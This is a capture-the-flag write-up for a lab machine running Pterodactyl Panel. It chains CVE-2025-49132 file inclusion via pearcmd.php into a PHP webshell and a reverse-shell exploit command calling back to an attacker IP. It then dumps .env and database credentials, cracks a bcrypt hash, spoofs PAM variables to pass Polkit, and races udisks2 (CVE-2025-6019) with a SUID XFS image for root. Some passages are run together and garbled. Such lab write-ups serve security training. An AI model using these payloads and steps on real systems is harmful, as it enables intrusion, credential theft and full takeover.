leaks via changelog and ffuf finding phpinfo.php. CVE-2025-49132 LFI triggers pearcmd for RCE as wwwrun. Leaked .env credentials open MariaDB to dump a bcrypt hash; john cracks it for SSH. Spoofing PAM bypasses Polkit, while CVE-2025-6019 uses a SUID XFS protofile to race udisks2 for complete root.

changelog.txt before touching the login page.phpinfo() page revealed disabled functions, open_basedir, PEAR path, and web root — turning a debug page into a full exploitation roadmap./locales/locale.json endpoint passes unsanitized input into include(), loading pearcmd.php which writes a webshell to the web root — three steps from LFI to interactive shell..env File as Credential Store: Laravel's .env file exposes database credentials, APP_KEY, and Redis config in plaintext — always the first file to read after gaining web shell access on a Laravel app.libblockdev mounts XFS images in /tmp without nosuid during resize operations, honoring SUID bits — a malicious image with a SUID bash shell escalates to root during the brief mount window.mkfs.xfs -p protofile bakes SUID permissions directly into the image at creation time, bypassing the need to ever mount and write to the image as root.XDG_SEAT=seat0 and XDG_VTNR=1 into ~/.pam_environment tricks logind into treating an SSH session as a physical local session, satisfying Polkit's allow_active requirement.As we can see it hosting a Minecraft server community called "MonitorLand". There is a link button changelog it show us notes. It leak we can info such as:
1MonitorLand - CHANGELOG.txt
2======================================
3
4Version 1.20.X
5
6[Added] Main Website Deployment
7--------------------------------
8- Deployed the primary landing site for MonitorLand.
9- Implemented homepage, and link for Minecraft server.
10- Integrated site styling and dark-mode as primary.
11
12[Linked] Subdomain Configuration
13--------------------------------
14- Added DNS and reverse proxy routing for play.pterodactyl.htb.
15- Configured NGINX virtual host for subdomain forwarding.
16
17[Installed] Pterodactyl Panel v1.11.10
18--------------------------------------
19- Installed Pterodactyl Panel.
20- Configured environment:
21 - PHP with required extensions.
22 - MariaDB 11.8.3 backend.
23
24[Enhanced] PHP Capabilities
25-------------------------------------
26- Enabled PHP-FPM for smoother website handling on all domains.
27- Enabled PHP-PEAR for PHP package management.
28- Added temporary PHP debugging via phpinfo()From this changelog.txt file, we gather critical configuration and environmental data:
play.pterodactyl.htb, suggesting more virtual hosts may exist.pearcmd.php.Pterodactyl is a free, open-source game server management panel written in PHP (Laravel framework) with a React frontend. It uses Docker containers to isolate each game server, and a daemon called Wings that runs on the host to manage those containers. https://pterodactyl.io/
1ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
2 -u http://pterodactyl.htb/FUZZ \
3 -e .php
4
5 phpinfo.php [Status: 200, Size: 73020, Words: 3592, Lines: 828, Duration: 22ms]The scan shows an exposed phpinfo() page.
Analyzing the exposed phpinfo.php page provides a definitive blueprint for the exploitation path by highlighting severe environmental misconfigurations:
disable_functions is empty: No administrative or operational restrictions are placed on dangerous PHP functions. Low level execution functions like system(), exec(), and shell_exec() are completely available. Achieving any form of PHP code execution will immediately result in direct Remote Code Execution (RCE).open_basedir is empty: PHP processes are not locked into a specific directory tree. The engine can read and execute files globally across the operating system file structure, removing file-system containment blocks and maximizing the impact of Local File Inclusion (LFI)./usr/share/php/PEAR: The active installation confirms the presence of pearcmd.php (typically located at /usr/share/php/pearcmd.php). Because the server uses PHP-FPM, this command-line package management tool can be safely invoked via an LFI vulnerability to register configuration arguments, creating a deterministic pipeline to drop web shells onto the host./var/www/html/: Disclosing the exact physical web directory gives a concrete write target for generating persistent malicious scripts or locating relative operational assets.The scan successfully identifies a valid virtual host:
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 453ms]
We add this newly discovered subdomain to our /etc/hosts file:
1echo "10.129.1.55 panel.pterodactyl.htb" | sudo tee -a /etc/hostsNavigating to http://panel.pterodactyl.htb/ serves an administrative login interface. Knowing from our earlier changelog analysis that the installation is running Pterodactyl Panel v1.11.10, we can bypass the login form by searching for unauthenticated vulnerabilities affecting this specific version.
The target runs Pterodactyl Panel v1.11.10, which is vulnerable to an unauthenticated Remote Code Execution flaw tracked as CVE-2025-49132.
The /locales/locale.json endpoint accepts user-supplied locale and namespace parameters and passes them directly into PHP's include() function without sanitization or authentication. While a verification hash parameter exists in the codebase, it is completely ignored by unpatched versions, allowing arbitrary Local File Inclusion (LFI).
Because our phpinfo() analysis confirmed an openSUSE backend with an uncontained PEAR environment at /usr/share/php/PEAR, we can pivot this LFI into arbitrary command execution using pearcmd.php:
/locales/locale.json, loading the internal command-line tool via include('/usr/share/php/pearcmd.php').pearcmd.php invoking its config-create module. This drops a lightweight PHP web shell into the publicly accessible web root: <?=system($_GET['cmd'])?>http://panel.pterodactyl.htb/shell.php, passing a bash reverse shell payload payload to establish a callback.1# Executing the python exploit chain (Ref: https://github.com/YoyoChaud/CVE-2025-49132)
2python3 exploit.py -u http://panel.pterodactyl.htb -p /usr/share/php/pearcmd.php -lh 10.10.14.48 -lp 8090On our listener, we catch an interactive session running under the context of the wwwrun user:
Once interactive code execution is established as wwwrun, inspecting the Laravel framework configuration map file at /config/database.php confirms configurations for Redis and MySQL/MariaDB database linkages.
To extract the operational credentials stored inside the environment variables, the Laravel .env configuration file is dumped:
1cat /var/www/pterodactyl/.envThe file exposes plaintext authentication keys for the database backend:
1DB_CONNECTION=mysql
2DB_HOST=127.0.0.1
3DB_PORT=3306
4DB_DATABASE=panel
5DB_USERNAME=pterodactyl
6DB_PASSWORD=PteraPanelTo access the local database cleanly, the low-level interactive terminal shell is stabilized using Python's pseudo terminal module:
1python3 -c 'import pty; pty.spawn("/bin/bash")'Using the harvested credentials, we authenticating to the MariaDB instance
Then wrote this query to extract the users:
1"USE panel; SELECT id, username, email, password FROM users;"We also got api keys.
Analyzing the retrieved hash structure for headmonitor breaks down its crypto parameters:
$2y$: Identifies the signature as Blowfish-based Bcrypt (specifically the PHP implementation variant).$10$: The logarithmic cost factor, indicating the hashing function cycled $2^{10}$ (1024) times.The hash is written to a local file named hashes.txt on the attacking machine and processed against the rockyou.txt dictionary file using John the Ripper:
1➜ Downloads john --wordlist=./rockyou.txt hashes.txt
2Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
3Use the "--format=bcrypt-opencl" option to force loading these as that type instead
4Using default input encoding: UTF-8
5Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
6Cost 1 (iteration count) is 1024 for all loaded hashes
7Will run 12 OpenMP threads
8Press 'q' or Ctrl-C to abort, almost any other key for status
9!QAZ2wsx (?)The cracking tool decrypts the hash value to reveal the cleartext password: !QAZ2wsx. While the database username is labeled headmonitor, system auditing indicates a matching password profile for the system shell user account. We leverage these credentials to authenticate over SSH as phileasfogg3
the udisks2 service is vulnerable to CVE-2025-6019. This vulnerability is classified as a Local Privilege Escalation (LPE), which allows any user with an active local session to escalate their privileges to full root access without requiring any passwords. Exploiting this flaw could result in complete system compromise by an unprivileged user.
The repo has three files, each handling a distinct phase. The exploit is split this way because each phase solves a different problem.
bypass.py): Overcomes remote SSH session restrictions by injecting XDG_SEAT=seat0 and XDG_VTNR=1 into ~/.pam_environment. This tricks PAM into registering the next login as a physical, local console session, granting the passwordless privileges required by udisks2.weapon.py): Bypasses a regular user's inability to write SUID binaries into a root-owned XFS directory. It uses an XFS protofile template (mkfs.xfs -p) to bake a pre-compiled SUID bash binary (pwnbash, 4755) directly into the image metadata at creation time without needing root access.trigger.sh): Exploits the brief Time-of-Check to Time-of-Use window where mounts the virtual disk inside without flags. The script floods the D-Bus system bus with continuous resize requests to forcefully stretch and trap this execution window open.To win the race condition and spawn the root shell:
In the first terminal window, assign permissions and execute the mount looping tool:
1chmod +x trigger.sh
2./trigger.shIn the second terminal window, monitor the temporary system path continuously to identify vulnerable, world-readable mount structures:
1watch -n 0.1 "ls -la /tmp"The moment a non-hardened runtime directory such as blockdev.Q797J3 drops into view, pivot into the folder path instantly and run the payload with privileged preservation flags active to secure an interactive root shell:
1cd /tmp/blockdev.Q797J3
2./pwnbash -pThe -p flag tells bash to preserve the effective UID instead of dropping it. By default bash drops SUID privileges as a safety measure -p disables that. Because nosuid was not used on the mount, the kernel honors the SUID bit and the shell spawns as root.
Published 9 hours ago
wwwrun user account context. Any command execution achieved through the initial entry vectors will run with the system privileges of this user.libblockdev/tmpnosuid